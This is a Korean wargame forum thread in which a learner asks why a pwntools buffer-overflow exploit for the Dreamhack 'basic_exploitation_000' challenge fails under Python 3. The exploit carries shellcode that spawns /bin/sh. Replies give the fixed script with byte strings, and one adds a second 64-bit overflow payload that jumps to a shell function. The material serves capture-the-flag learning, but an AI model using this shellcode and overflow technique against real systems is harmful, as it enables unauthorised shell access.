basic_exploitation_000 문제 질문
from pwn import *
p = remote("host1.dreamhack.games", 15661)
p.recvuntil("buf = (")
buf_address = int(p.recv(10), 16)
code = "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
code += "\x80"*106
code += p32(buf_address)
p.send(code)
p.interactive()
파이썬에서 익스플로잇을 할려했습니다. 그러나
"can only concatenate str (not "bytes") to str"와 같이 오류가 떴습니다
참고로 저의 파이썬 버전은 3.x버전대 입니다. 그리고 pip3 install pwntools로 설치했습니다 해결할수 있는 방법을 찿고 있습니다.
#포너블
#basic_exploitation_000
#에러
작성자 정보
답변
3
Pocas
워게임 고인물
3점대 버전을 사용 중 이시라면 byte type으로 전송해주시면 됩니다.
example) b"dreamhack"
Pocas
워게임 고인물
from pwn import *
p = remote(“host1.dreamhack.games”, 15661)
p.recvuntil(“buf = (”)
buf_address = int(p.recv(10), 16)
code = b“\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80”
code += b“\x80”*106
code += p32(buf_address)
p.send(code)
p.interactive()
위와 같이 문자열 앞 부분에 b를 붙여주면 됩니다!
minmoong0828
세계수
변수 선언시 b를 붙여 해당 변수가 bytes 타입이라는 것을 명시해야 합니다.
from pwn import *
r = remote("host3.dreamhack.games", 9957)
shell = 0x4006aa
#### 변수 선언시 b를 붙여야 함 ####
payload = b"A" * 0x38
payload += p64(shell)
r.sendlineafter("Input: ", payload)
r.interactive()